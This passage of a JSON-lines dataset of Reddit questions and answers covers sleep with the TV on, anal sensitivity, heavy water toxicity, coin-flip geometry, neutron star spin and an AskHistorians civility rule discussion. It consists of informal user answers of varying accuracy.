off. \n\nmost tv's have a sleep timer. set it for an hour or 90 minutes, put the volume JUST low enough for you to make out the dialogue, but not loud enough so louder scenes awaken you. comedy tv shows or movies are best for this, and if your tv or surround sound has compression or night viewing mode, turn it on, it shrinks the gap between the loud noises and the soft ones so you dont have super quiet dialog and loud fucking explosions.\n\nit's important to pick a tv show or movie you're interested in watching, but don't care if you miss parts of it. something you'd stop and watch if it were on tv, but wouldnt go and grab the dvd off the shelf and put in purposely. you're only going to see about 12 minutes of it, and then you're going to pass out, forgetting most of it anyways. \n\n\nI've watched austin powers about 13 times in the past 2 weeks, and I'm just now about to complete a full watch through. I just fast forward to 10 min or so before I left off, let it play, and pass out. it works beautifully.", "What kind of movies are you watching? I suffer from insomnia so maybe you could help?", "You are not alone, this question is asked on Reddit at least once a week", "I'd say you've conditioned yourself to go to sleep with the TV on like myself", "I have the same thing.  I've discovered that if I turn off the subwoofer and/or turn down the bass while watching TV, I don't get sleepy.  I've found that low frequencies make me artificially drowsy.  The effect ends as soon as the TV is off.  As a sample size of one, I have no idea if this applies to anyone else, so this may not be helpful, but it might be place to start investigating.", "I don't know if this is the cause for your specific example, but generally speaking sleep problems are caused by your mind dwelling on something/not being able to \"shut-off.\" Most people don't realize this (or, many don't accept it), but an over-active mind causes this and many other issues in life. Short-term fix - grab a pen and paper and write down what you are thinking about; this will help calm the mind. Longer-term fix - learn to meditate. If you are looking for help getting started, shoot me a message.", "It's because change makes you feel more alert. \nNo joke. ", "There are certain interactions that are so peaceful you enter a slightly hypnotized state of mind. Driving a car on a highway is extremely peaceful to me, especially when there is no traffic, in a nice and quiet car.\n\nAll you see is a nice road ahead, with that perspective. You're speeding through miles of road with minimal effort.\n\nDriving in traffic... Completely different. You have to be aware of every car, all trying to maneuver just to get a few feet closer to their destination. It's unpredictable. It takes a lot of effort and concentration just to get a half mile down the road.\n\nWatching a movie is sort of like driving on a highway. Things are happening as expected.  The directors and writers follow tested methods, a lot of cinema is very similar, we can figure out what's going to happen. It different require a lot of brain activity. The brain switches to a hybernation state to rejuvenate. The brain requires sleep in order to build memory and recall old ones.\n\nWatching sports or live events where the drama is real and live is sort of like traffic. You're concentrating on every detail trying to figure out something that hasn't been designed to play out like TV. Your brain won't go into hibernation with these distractions.\n\nWhen you shut off the tv and turn over, your brain understands this familiar place. Perhaps you have a habit of getting in bed before you're tired or while your anxious, without unwinding. You create a habit of sitting there starting at the ceiling every night over analyzing your day or the next.\n\nUse your bed for sleep, don't try to fight through it. Go make a light snack, high protien, turkey, egg, milk... Listen to soothing music, watch a familiar movie, turn the volume extremely low but not off. Set the sleep timer as to not disturb you once you fall asleep. Unwind. Relax. Making a habit of laying restlessly will get worse and worse. ", "The problem is that you're watching \"Twilight\". Unconsciousness is the body's natural defense mechanism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.mctourer.com/Safety/Fatigue.pdf"], [], ["http://www.scientificamerican.com/article/bright-screens-could-delay-bedtime/"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "bsty1k", "title": "what is the point of your anus having so many nerve endings? why is it so sensitive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bsty1k/eli5_what_is_the_point_of_your_anus_having_so/", "answers": {"a_id": ["eoqcohu", "eoqi9jr", "eoqikip", "eoqjbot", "eoqk8vd", "eoqlxr2"], "score": [163, 7, 34, 3, 2, 3], "text": ["Some believe that defecating feels good because our bodies often reward us for necessary functions, such as eating, defecating, urinating and procreating. In other words, we have nerves down there so that it feels good when we poop, so that we enjoy pooping, so that we don't hold the poop in and mess up our bodies.", "Would'nt you want to know if a parasite was trying to climb in through the out door? I think most of us would. Think about your health Dude !", "2/3 of your anus is above the Pectinate line and doesn\u2019t have sensation, it\u2019s why hemorrhoids above it bleed and aren\u2019t painful, so you mostly just feel distention over that point.  It\u2019s formed from different tissue during fetal development. Below it is very sensitive, as anyone with external hemorrhoids might tell you. Your anus is actually pretty smart though, the upper anus has a rectal sampling reflex which lets you feel the difference between gas and stool so you don\u2019t shart routinely. \n\n_URL_0_", "your asshole is sensitive for the same reasons all the other large openings into your body are:\n\nso you can be keenly aware of what's going on there\n\nlesson for today - boundaries are important, kids", "As a precaution I wanna know if I'm needing a poop, I wanna know I'm holding it in until I can make it to the toilet.", "Tbh, theres a lot of erogenous nerves in that area. Dick in the ass stimulates the nerves near the genitals from the inside, as well as the prostate for men. Obviously not that strong, but also obvs, ppl find it feels good. Idk whos idea to put a sewage system next to an amusement park, but, well, Gods all knowing i guess....theres a reason im not religious lmao. \n\nTheres not really a evolutionary reason. Theres a reward system for pooping as much as pissing, scratching an itch, drinking water. (Im straying away from food because food CAN cause a flood of endorphins, due to chemicals, abnormal amounts of calories and needed nutrients, causing all sorts of mental and physical issues/diseases). But everything hits the reward system, but theres a limit to how good shit feels, depending on the event. Thats ehy only chemicals can REALLY overload tthat system. Druggies feel really good on them all the time, trust me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.m.wikipedia.org/wiki/Rectoanal_inhibitory_reflex"], [], [], []]}
{"q_id": "7p9nop", "title": "modulus of elasticity question", "selftext": "How can two objects that are relatively similar in size and made of the same material have a different modulus of elasticity? What other factors come into play? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7p9nop/eli5_modulus_of_elasticity_question/", "answers": {"a_id": ["dsfmvqt"], "score": [2], "text": ["\n\nSome materials have different moduli in different directions.  Wood, for example, is stiffer along the grain than across the grain.\n\nModuli can also change under stress, so if one of your pieces is under load (tensile, pressure, etc.) and the other isn't, they could read different values.\n\nBut other than that they can't.  A Modulus of Elasticity is an intensive property of a material - it doesn't depend on size, shape, or any physical attribute.  The entire point is that it's a constant that depends only on the material."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1kz274", "title": "how does laser therapy work? and is it a fraud?", "selftext": "My fiance works at a laser therapy centre and neither her nor myself can figure out how such a treatment would help anyone.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kz274/eli5_how_does_laser_therapy_work_and_is_it_a_fraud/", "answers": {"a_id": ["cbu3d3z", "cbu3dju"], "score": [2, 3], "text": ["There are a lot of lasers used in medicine; are we talking about like \"quit smoking with lasers\"?\n\nIf so, then yeah, it's bullshit. The other applications of lasers, such as cosmetics and surgery, are a bit different.", "When using science, it is usually not unequivocally stated that something does NOT work, or does NOT exist.  Instead, the focus is to determine whether something can experimentally be proven to have a physical effect.\n\nLaser Therapy is one of those things that adequate peer-reviewed evidence not yet been provided that it provides any lasting effects. It is deemed experimental by insurance companies, and is not a covered therapy for these reasons.  \n\nUntil such time that someone can provide adequate experimental results that demonstrate the effects of the therapy, I would consider that any effects that are seen are likely apocryphal or due to placebo effects.  By adequate experimental results, I mean double-blind studies that show a significant delta between control groups and study groups with some particular measurable condition.  These studies should be peer-reviewed by degreed and experienced practitioners in the field of study specific to the claims.\n\nWhen it comes to short-term pain relief, the placebo effect can be very strong - and since this is normally where you see laser therapy advertised, I would question the veracity of any claims that it acts in any particular way to deliver its pain relief other than this effect.  Not to say that the placebo effect isn't important - since pain management is an important medical need.  You probably shouldn't discount the successes of people who are receiving treatment, certainly not in front of them, anyway.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3n3pw2", "title": "Would drinking \"heavy water\" (Deuterium oxide) be harmful to humans? What would happen different compared to H20?", "selftext": "Bonus points for answering the following: what would it taste like?\n\nEdit: Well. I got more responses than I'd expected\n\nAwesome answers, everyone! Much appreciated!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3n3pw2/would_drinking_heavy_water_deuterium_oxide_be/", "answers": {"a_id": ["cvkhxoj", "cvkiv89", "cvkjq9t", "cvknfcw", "cvko87r", "cvkr427", "cvks4i5", "cvkt99x", "cvkv12v", "cvl52uu", "cvlck7g", "cvlg0qa"], "score": [2019, 114, 82, 12, 16, 13, 1064, 22, 28, 6, 2, 8], "text": ["Only if you drink a lot - toxicity studies find that ~50% of body water needs to be replaced with deuterated water before animals died. \n\n[The Wikipedia article on heavy water](_URL_0_) has a good section on toxicity:\n\n > Experiments in mice, rats, and dogs have shown that a degree of 25% deuteration causes (sometimes irreversible) sterility, because neither gametes nor zygotes can develop. High concentrations of heavy water (90%) rapidly kill fish, tadpoles, flatworms, and Drosophila. Mammals, such as rats, given heavy water to drink die after a week, at a time when their body water approaches about 50% deuteration.\n\nNo clue what it tastes like, though I might expect no difference. Either way, I wouldn't recommend it. ", "Isotopic effects and toxicity are well described above, but I can add a personal note. \n\nI'm a molecular biologist and I like to keep science fresh, so that means that some days I taste things from the reagent shelf: citrate, lactic acid, glycerol...  And on one occasion: D20\n\nAnd no, you cannot taste the extra neutron. It's always distilled to extremely low conductance, and so it has no flavor at all. Much like distilled H2O, it's more of a sensation than a taste ", "To add to the other comments, [here is a relevant Periodic Videos episode on the question](_URL_0_). I timestamped the part of the episode where the question is answered, but I suggest watching the full episode because it is fascinating (and less than 7 minutes).", "Rumors have it that cheap D2O manufacturing were discovered when chemists used the water byproduct from one of their machines to make coffee and after a few weeks people started reporting dizziness. When they analyzed the water they found it to be heavier then normal water and further it was discovered that it contained higher levels of Deuterium then normal water. They then started to sell the D2O to labs around the world and later on built dedicated production lines for it when plans of a nuclear reactor using D2O were designed.\n\nIn short it tastes like water, behaves like water and looks like water. Toxicity levels are at 25-50% of the body water content. You may feel other effects before this but it have not been studied enough on humans. There is also a slight increase of radiation levels in deuterium.", "Because deuterium has only one more neutron than hydrogen, the most noticeable change would be in reaction kinetics inside of the body (many processes involving hydrogen ion transfers from water would be slowed down).  However, one would need to ingest large amounts of deuterium for these effects to be significant", "Could heavy water application be used to treat bodies of water affected by invasive species? The zebra mussel is what made me think of this. At a certain percentage, according to my 5 seconds of research, deuterium oxide kills everything. So, could enough be added to kill everything in a lake, then diluted to a point where it can be repopulated with native species? Just something that came to mind, so excuse me if this is completely outrageous. ", "Ok, I Drank 1 liter of heavy water once. Followed by daily intake of 200 ml of heavy water.\n\nThe reason why I did this was for an medical experiment I was participating. They used this to track the turnover of T1 helper cells (involved in immune response). The idea that new T1 cells would incorporate some of the deuterium in their DNA.\n\nWhat happened was that I got massive vertigo and got sick (threw up). The reason of this was the change of weight in the fluids in the balance organ. At least that's what they told me. _URL_0_\n\nAfter a couple of hours everything was ok again and I even went skiing that evening. \n\nThe following intakes had no effect. \n\nI do remember that I did not like the taste of it. It was different from normal tap water and I got to dislike the taste as I associated it with the vertigo. I believe kinda metallic bitter (this was over 12 years ago, and the details are a bit fuzzy.)", "One of the experiments they did to test the effect of alcohol on the body was to determine whether it is the lower density of ethanol that causes the dizziness associated with getting drunk. In the experiment they made drinks using heavy water in place of ordinary water so that the total density of the drink was equal to water. Result, no dizziness. (_URL_0_)\nSo, anyway, the point is that in this experiment, heavy water was considered to be safe enough to drink to investigate this phenomenon.", "No, drinking a small amount won't kill you as illustrated by this \"practical joke\".\n\n\"\nIn 1990, assistant plant operator Daniel George Maston was charged after he took a sample of heavy water, contaminated with tritium, a radioactive isotope of hydrogen, from the moderator system and loaded it into a cafeteria drink dispenser.[13] Eight employees drank some of the contaminated water.[14] One individual who was engaged in heat stress work, requiring alternating work, rest, and re-hydration periods consumed significantly more than the others. The incident was discovered when employees began leaving bio-assay urine samples with elevated tritium levels, one with particularly unusually high levels. The quantities involved were well below levels which could induce heavy water toxicity, however, several employees received elevated radiation doses from tritium and activated chemicals in the water. It is believed that Maston intended the exposure to be a practical joke, whereby the affected employees would be required to give urine samples daily for an extended length of time.[15]\"\n\n_URL_0_\n", "There was an episode of Hogan's Heroes in which some heavy water is being stored at the prison camp.  Hogan convinces the Colonel that  it was a secret hair loss remedy, and he drinks some of it.  When the senior general shows up and tells him what it really is, he says, \"oh my!  Will it be hazardous to my health?\"\n\nThe general replies, \"Only if Berlin finds out about it.\"", "There's a fairly well-known effect in physics/biology called the kinetic isotope effect.  Basically, proton exchange rates can slow substantially when substituting deuterium for hydrogen; this is probably very bad for organisms that depend on those proteins/enzymes.  I don't recommend it.", "I actually tried this. During my PhD at Institute of Sports Medicine Copenhagen, I was a test subject in an experiment in which deuterium from heavy water was used as a tracer in protein degradation. I believe I drank a 10% enriched solution of about 100 ml.\n\nDown to the dirty, heavy water actually tastes different, kind of like glycerol. Also, it causes dizzines/vertigo. This happens mostly because it causes irregularities in the vestibular organs, that we use for spatial orientation. This effect is actually pretty strong or was for me. It last a couple of hours.\n\nDuring the study i read up on it and as far as i remember, there are no effects of enrichment with deuterium until you reach something like 10-20% enrichment of all the body water. At that level generalised toxicity symptoms start to appear and it becomes toxic at levels somewhat higher (30-40%) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Heavy_water#Effect_on_biological_systems"], [], ["https://youtu.be/fyK6kPi8k78?t=4m38s"], [], [], [], ["https://en.wikipedia.org/wiki/Equilibrioception"], ["http://www.nature.com/nature/journal/v247/n5440/abs/247404a0.html"], ["https://en.wikipedia.org/wiki/Point_Lepreau_Nuclear_Generating_Station"], [], [], []]}
{"q_id": "1adyv3", "title": "How thick will the edge of coin have to be relative to it's faces for it to fall on its side 1/3rd of the time when flipped?", "selftext": "Edit: Geez, I wish I could edit that title.\n\nEdit 2: Guess instead of coin I should have used \"disc\". So, a cylinder is more likely to land on its \"edge\" when properly flipped and a disc is more likely to land on one of its \"faces\". So a more precise question would be what proportions would a coin need to fall between these two categories (disc or cylinder) so it's just as likely to land on one of its faces as its curved side when properly flipped.\n\n----------------\n\nOk, there's an MMO game called Runescape that just released a coin where one of the flip results is \"It landed on its side, what are the chances of that?\" Yes, they meant it in jest, but seemed like something that could be calculated.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1adyv3/how_thick_will_the_edge_of_coin_have_to_be/", "answers": {"a_id": ["c8wiaa8", "c8wiinu", "c8wjrxa", "c8wng7g"], "score": [3, 2, 6, 2], "text": ["Consider a cylinder balanced on the edge of one of it's ends.  This would require the moment (mass times distance to center of mass) of the right equal the moment of the left across the vertical plane of the point in contact.  Find the height that achieves this (given density and radius) and you'd have found that height.  In this situation there is an equal likelihood of it landing flat on a base or on its side.\n\nedit: as there are two ends and only one curved face we might have to divide by two", "I think this depends heavily on whether you are spinning the coin on its side or throwing it into the air.", "I've come up with a solution given some assumptions. I assumed that the coin pivots about its center of mass and is just as likely to land at any angle as any other angle. If you imagine drawing a line through the center of mass to the table then the coin will land on its edge when that line passes through either of the edges. The formula for this result is,\n\n2*arctan(w/d)/pi\n\nwhere w is the width of the coin and d is its diameter. For a 1/3 probability the ratio is w/d=3/sqrt(3)=1.73205", "This was in the nytimes a few months ago as one of the numberplay problems.  It was explained pretty thoroughly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4ijkk9", "title": "Rules Roundtable #10: Civility and Debating with Politeness", "selftext": "Hello and welcome to the tenth edition of our ongoing series of [Rules Roundtables](_URL_1_)! This project is an effort to demystify what the rules of the Subreddit are, to explain the reasoning behind why each rule came into being, provide examples and explanation why a rule will be applicable in one case and not in another. Finally, this project is here to get your feedback, so that we can hear from the community what rules are working, what ones aren't, and what ones are unclear.\n\nToday, the topic for discussion is [our rule on Civility](_URL_3_)! This rule exists to ensure that debate on /r/AskHistorians is focused on competing historical interpretations, and does not devolve into personal insults or ad hominem attacks; and that users treat one another with courtesy and mutual positive regard. The rule reads:\n\n > Civility\n\n > All users are expected to behave with courtesy and politeness at all times. We will not tolerate racism, sexism, or any other forms of bigotry. This includes Holocaust denialism. Nor will we accept personal insults of any kind.\n\nThe rule on civility is quite important to us, so much so that it's our first rule and has been referred to (not entirely jokingly) as our Prime Directive. That's because the entire intent of AskHistorians is to answer questions about the past, and the historical arena can be a contentious place. The civility rule is important to make sure that we keep answers and conversations at a professional, academic level. \n\n##Why do you need a civility rule? \n\nReasonable people can disagree about historical interpretations, and people can get quite passionate about their \"favorite\" or preferred interpretation of historical events. \n\nThis can operate on a couple of levels: \n\n* Among professional historians, there's competition among interpretations of history that occurs on an ongoing basis, and in many fields this takes on an almost generational basis, as the younger scholars of _________ field revise and take issue with interpretations that the older scholars of that field grew up with. These reinterpretations of history, or revisions of history, can make or break professional careers, which means that debate can get quite heated at times and that part of training new historians is teaching them how to debate respectfully. \n\n* In the non-academic world people can get quite passionate and emotional over issues of historical memory, especially with regard to recent history. (This is one of the reasons we have our 20-Year Rule, but I digress.) How we understand, talk about, and memorialize historical events such as the American Civil War, the Holocaust, the atomic bombings of Japan, the Civil Rights movement, and others like them is difficult and contentious, and feelings can run high on all sides of an issue. This is one of several reasons why we require our users to [ask questions neutrally](_URL_2_).   \n\n##What do you mean by civility, anyhow? \n\nSome of this is covered in the text of the rule above, but the major points are: \n\n* We do not tolerate racist, sexist, or otherwise bigoted comments (including anti-Semitism) \n* We do not tolerate Holocaust denialism or similarly offensive examples of historical revisionism \n* We do not tolerate personal insults directed at other users \n\nBeyond those key points of the rule, we generally will remove content that is overly sarcastic, that attacks a user rather than the user's ideas, or that is hostile to an individual user or is hostile to a group of people. \n\n##Wait, so how do you decide if someone is being uncivil? \n\nMore than perhaps any of our other rules, moderating based on civility requires us to take a bit of a \"know it when we see it\" approach. We realize that our user base on AskHistorians is global, and that standards of what's considered \"bad language\" vary from country to country, and that language issues can cause people to seem rude without the intent of giving offense. We will also use at a poster's comment history to see whether they have shown a pattern of incivility using their account, to decide whether they fall on the side of \"possible misunderstanding\" or \"usually abrasive.\" To be clear, this is not the only metric we use, but if the user history demonstrates a pattern of being abusive, we take that into account. \n\nThat said, though, we tend to err on the side of removing content if we think it's not being posted in good faith or if we believe the intent is to mock another user. This brings us back to the central point of AskHistorians, which is to get answers about the past; and that doing so requires us to be able to be civil in our interactions with one another.\n\n##OK fine, but how do I argue with people if I can't call them a poopy head? \n\nWell, you don't argue with people -- you argue with their arguments. If you happen to subscribe to a different theory about how a historical event happened, or how it should be interpreted, share it! And make sure that you can cite your sources, answer follow-up questions and, in general, follow the other rules of this subreddit. Disagreeing with the interpretation is fine, just don't let that extend into disagreement with the person. \n\n##I have some thoughts about this rule, where do I share them?\n\nWe welcome thoughts about the civility rule, and invite you to share them in the comments below. The point of the Rules Roundtable series is to get feedback from the community on our rules and policies, after all. \n\n##What should I do if I see people being uncivil in a thread? \n\nLet the moderators know, and we'll sort it out. Resist the temptation to fight fire with fire, and either use the handy \"report\" button below the offending post or comment, or send us a [modmail](_URL_0_). \n\n##I think that a comment of mine was removed unfairly, what do I do? \n\nAs we've said in previous roundtables, we on the moderator team are the first to admit that we won't always be right, but we will make every effort to be fair. If you think that we misinterpreted a question or comment of yours and removed it unfairly, you are always welcome to send us a [modmail](_URL_0_) to politely state your case. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ijkk9/rules_roundtable_10_civility_and_debating_with/", "answers": {"a_id": ["d2yr2il", "d2yt32v", "d2yt5u4", "d2ytgnl", "d2yw2dp", "d2z3v6e", "d2z4pxm", "d2z53lx", "d2zur9t"], "score": [20, 22, 9, 60, 5, 4, 2, 2, 3], "text": ["This rule is very straightforward and I think it is working well. ", " >  We do not tolerate Holocaust denialism or similarly offensive examples of historical revisionism\n\nCould you provide some examples of \"similarly offensive historical revisionism?\"\n\nThe two things that spring to my mind are the Armenian genocide (denied by the Turks), and Unit 731 activities in Manchuria during the Pacific War. If Shinzo Abe, the prime minister of Japan can drop [subtle hints toward Korea and China](_URL_0_) regarding 731, can everyone else deny it, too?", "I always liked the example set by some parliamentarians during a floor debate; while the subject matter is a bit different, (and sometimes their words are a bit over the top) did does drive home the point that you are supposed to be arguing against the argument and not the person delivering the argument. \n\nSomething along the lines of:\n\n\"I would like to thank my most august colleague and her highly esteemed junior minister from Toledo Ohio and the words they have shared with our humble body concerning the proposed tariff on Japanese television remote controllers. However,...\"  ", "Regarding the historical revisionism argument, my understanding is that there are two schools of thought in academia regarding Holocaust denial and other versions of historical revisionism: Either (A) Don't deign to engage it, lest you give it credibility or (B) Don't allow blatantly false ideas to go unchallenged. \n\nClearly AskHistorians has opted for option A and I'm wondering how that determination was made. I certainly understand option A but I've always been of the mind that Louis Brandeis was correct in asserting \"(i)f there be time to expose through discussion the falsehood and fallacies, to avert the evil by the processes of education, the remedy to be applied is more speech, not enforced silence.\" \n\nOn a much less philosophical level, I think I'd benefit enormously if the excellent posters of AskHistorians brought their considerable knowledge and education to bear on such topics, thereby making it easier for the rest of us when we encounter such individuals and ideas. ", "Seems straightforward enough. The one catch, it seems to me, is the rule against \"offensive revisionism\". Holocaust denial is a pretty clear-cut case, but where do you draw the line? Almost everything you can say about history is offensive to *someone* (see: Armenian genocide, Japanese war crimes, anything that ever happened in Ireland or on the Balkans).", "I think this rule is very important. Keeping things civil is key to successful discussion, as that makes it a cooperative endeavour of searching the truth, not a competition over the title of 'most clever human'.", "Thank you and /u/Gregory_K_Zhukov for getting into this with us. One question I have is about the parenthetical in the section on discrimination that reads (including anti-semitism). I think it's unnecessary for many reasons, and I think listing it as the only specific qualifier is problematic. I believe that removing it from the rules and treating anti-semitism equally with all the other form of discrimnation not delineated in the rules would be better for the subreddit in the longrun. ", "I have a meta comment/question, not really related to the civility rule.\n\nWould you (the mods) consider having an automated top level comment posted to each question that says something like \"amateur answers and discussion should be posted under here.\"? And then don't delete those.\n\nThe problem this would address is that there are many more questions posted to this sub then professional answers. Professional answers, of course, take some time and while waiting for an answer people have comments and questions, but no where to post them.", "Hey team - I love your sub.\n\nThis idea for the Rules Roundtable is a great one - I just suggested that we do it over at /r/changemyview as well.  \n\nParticularly when it comes to civility and low-effort/joke posts, I do think the \"broken window\" theory applies - you need to moderate actively to maintain the spirit of the sub as you envision it.  Thank you for doing the work that makes this sub the great place that it is."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians", "https://www.reddit.com/r/AskHistorians/wiki/faq/meta#wiki_rules_discussion", "https://www.reddit.com/r/AskHistorians/comments/4eb8kr/rules_roundtable_9_soapboxing_moralizing_loaded/", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_civility"], "answers_urls": [[], ["http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2971580"], [], [], [], [], [], [], []]}
{"q_id": "18q90g", "title": "the overwhelming shivery feverish disorienting feeling immediately after diarrhea.", "selftext": "Releasing a load of liquidy diarrhea seems to be followed by an overwhelming bodily feeling that lasts for a few minutes.  Why does this happen, as opposed to instantaneous relief?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18q90g/eli5_the_overwhelming_shivery_feverish/", "answers": {"a_id": ["c8h4lwa"], "score": [4], "text": ["If I didn't know any better I might have thought you were describing an orgasm."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6en3pr", "title": "why is it good or bad to elevate feet/legs when sleeping?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6en3pr/eli5why_is_it_good_or_bad_to_elevate_feetlegs/", "answers": {"a_id": ["dibndnb", "dic5van"], "score": [5, 2], "text": ["No scientist here, but I believe it helps blood flow. Good, because it helps any pooled blood or fluid, that winds up in the feet during the day, drain towards the heart. Most likely bad if you don't have a circulatory issue and may cause cold or numbness for lack of flow.", "If you have edema, pulmonary or otherwise and you're talk g diuretics like furosemide then elevating your legs can help migrate that interstitial, or otherwise located, fluid towards your abdomen and ultimately your bladder."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cgv06w", "title": "which or that?", "selftext": "I'm English, and love the English language and have a fairly rich and varied vocabulary. However, I'm never quite sure when to use 'which' or 'that'. Perhaps this was an English lesson that passed me by.\nExample: \"I went for a walk today that I greatly enjoyed\", or \"I went for a walk today which I greatly enjoyed\". Which is correct? Is there a grammatical rule that/which would clear this up?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cgv06w/eli5_which_or_that/", "answers": {"a_id": ["euleffn", "euleggp", "eulf9l5"], "score": [2, 8, 5], "text": ["Here's a helpful link about it: _URL_0_\nBasically, if the sentence doesn't make any sense without the part beginning with \"which/that\", then use \"that\". Otherwise, use \"which\".", "According to Grammerly, the choice should be based on whether the adjoining phrase is disposable or not \n\n\"I went for a walk today that I greatly enjoyed\" - implies that you are emphasizing the feeling great and explaining the walk as the cause of it.\n\n\"I went for a walk today, which I greatly enjoyed.\" - implies that you are emphasizing the walk, and are explaining the fact it gave you enjoyment.", "The rule of thumb is that you use \"that\" if the clause which it refers to is necessary, and \"which\" if it is not. It is necessary if you can't remove it without changing the meaning of the sentence.\n\nIn your sample sentence this actually changes the meaning slightly. If you said \"I went for a walk today which I greatly enjoyed,\" then you are telling us you went for a walk, with your enjoyment of it being an incidental fact. You could just have said \"I went for a walk today.\"\n\nBut when you say \"I went for a walk today that I greatly enjoyed,\" it means the enjoyment is critical to the meaning. You are talking about a walk you enjoyed, not just that you walked."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.writersdigest.com/online-editor/which-vs-that"], [], []]}
{"q_id": "3o49d6", "title": "The fastest spinning neutron star spins at 716 times a second. How much of the immense gravity would be counteracted by the centrifugal force? How many times earths gravity would an object on the surface experience?", "selftext": "Spinning at that speed would surely create a large amount of centrifugal force, how much? How much gravity does an average neutron star have? Would the centrifugal force, which would surely be massive, just pale in comparison to the gravity? the scale of these things just boggles my mind\n\nThank you", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3o49d6/the_fastest_spinning_neutron_star_spins_at_716/", "answers": {"a_id": ["cvtv8b3", "cvu2ecd", "cvu4l3a", "cvu5auv", "cvu9d32", "cvueubl", "cvuk31a"], "score": [987, 95, 41, 57, 10, 5, 5], "text": ["Just doing an order of magnitude calculation here: if a neutron star 1.4 times the mass of the sun is 10 km in radius and spinning 716 times per second, the gravitational field is 1.8 trillion m/s/s whereas the centrifugal force is about 10% that, at 200 billion m/s/s. This is an approximation of course.", "I would like to trail off of this question with another; me and my boss had a disagreement when I told him about pulsars.\n\nHe was saying he doesn't believe that the entire star is rotating around an axis. He told me that the definition of 'spinning/rotating' should be defined better after I told him about the extreme circumstances of its gravity and its density. He believes to be more of an energy wave traversing around the star, like a wave on the surface of water, that is emitting radio pulses, meaning the entity isn't rotating around itself but gives the appearance of such.\n\nCan anybody help me with this?", "This breaks the rule for normal-size, normal-density spinning disks given in XKCD no-rules NASCAR for the maximum speed of a spinning disk  to hold together:\n\n_URL_0_\n\n >  This lets us apply one of my favorite weird equations,[4] which says that the edge of a spinning disc can't go faster than the square root of the specific strength[5] of the material it's made of. For strong materials like Kevlar, this speed is 1-2 km/s.\n\nThis means that if your neutron star was made of solid Kevlar, it would fling itself apart. It's just density and gravity that holds it together!", "EDIT: Disclaimer: The following comment applies to a stationary inertial frame of reference, not a rotating inertial  frame of reference, as people with a better understanding of the matter have kindly explained below.\n\nI just have to point out here that there really is no such thing as \"centrifugal force\", that is \"created by spinning\". Here's some basics of circular motion. Imagine a satellite orbiting the neutron star on a circular orbit. The satellite is moving at a constant speed at a constant distance from the star, so each orbit takes the same amount of time.\n\nAs Newton's laws tell us, if the sum of the forces affecting the satellite is zero, the satellite will keep on moving in a straight line (or stay still if it wasn't moving in the first place). However, since we know that the satellite is not moving in a straight line, but orbiting a star on a circular orbit, we know that the sum of the forces on the satellite is not zero.\n\nIn order to stay in circular motion, the satellite needs to have a constant centripetal force (towards the center of the orbit, perpendicular to the direction of travel on the orbit) to keep the satellite in orbit. A centrifugal force would be pushing the satellite away from the star (and does not exist), whereas a centripetal force is pulling the satellite in and keeping it in orbit. The so called centrifugal force is an illusion caused by Newton's first law (Roughly \"A body in motion wants to stay in motion\"), and does not actually exist, but people still talk about it from time to time.\n\nIn the case of a satellite orbiting a star, we can pretty safely say that the only significant force on the satellite is the star's gravity. In this case, it is the star's gravity that keeps the satellite in orbit, and thus we say that the gravitational force is the centripetal force of the circular motion.\n\nThe centripetal force for a constant circular motion is F=(mv^2)/r, where m is the mass of the orbiter, v is the velocity at which the orbiter is travelling along the orbit and r is the radius of the orbit. Here we see, that if you want to orbit faster, either the centripetal force or the radius of the orbit has to grow. This can also be applied to driving a car around a bend, if the bend is turning with a somewhat constant radius from a point (meaning the turn looks like a part of a circle). If you want to drive faster through the bend, then the frictional force on your tires has to grow in order to keep you on the circular track through the bend. If the friction of your tires is not enough, then the radius grows, meaning you won't be able to turn sharp enough and you will slide out of the bend.\n\nWith all this in mind, your question would probably be better asked along the lines of \"Since the neutron star is spinning so rapidly, is the gravitation force on the surface of the star enough to keep an object on the surface, or will the object be flung into space instead?\"\n\n\nTL;DR: \"Centrifugal force\" is just an illusion caused by Newton's first law. The star's gravity works as a centripetal force to keep an object on the surface of the star or orbiting it.", "I can't even comprehend something that size spinning that quickly. How is that possible?\n\nDoes...oh man. This seems like a silly question all of a sudden. Does the Sun spin?   I guess I have been under the impression that the stars remain motionless, and now I realize how impossible that is. ", "I don't have an answer to your question, but here is a relevant point:\n\nAssume the centrifugal force and gravitational force have a net force at the surface similar to earth.  Now consider as you get closer to the center of the star gravity starts to get stronger and the centrifugal force gets weaker.  And the opposite is true as you go farther above the sun's surface.  At these extreme forces your head would experience a much stronger centripetal force than your feet and you would be ripped apart.", "So... I know that rotating objects have more gravitational pull than non-rotating objects. Because space-time is actually warped by the presence of energy, not just mass (which is itself a form of energy). Has anyone in the comments accounted for this? (apologies if someone has; I just haven't seen 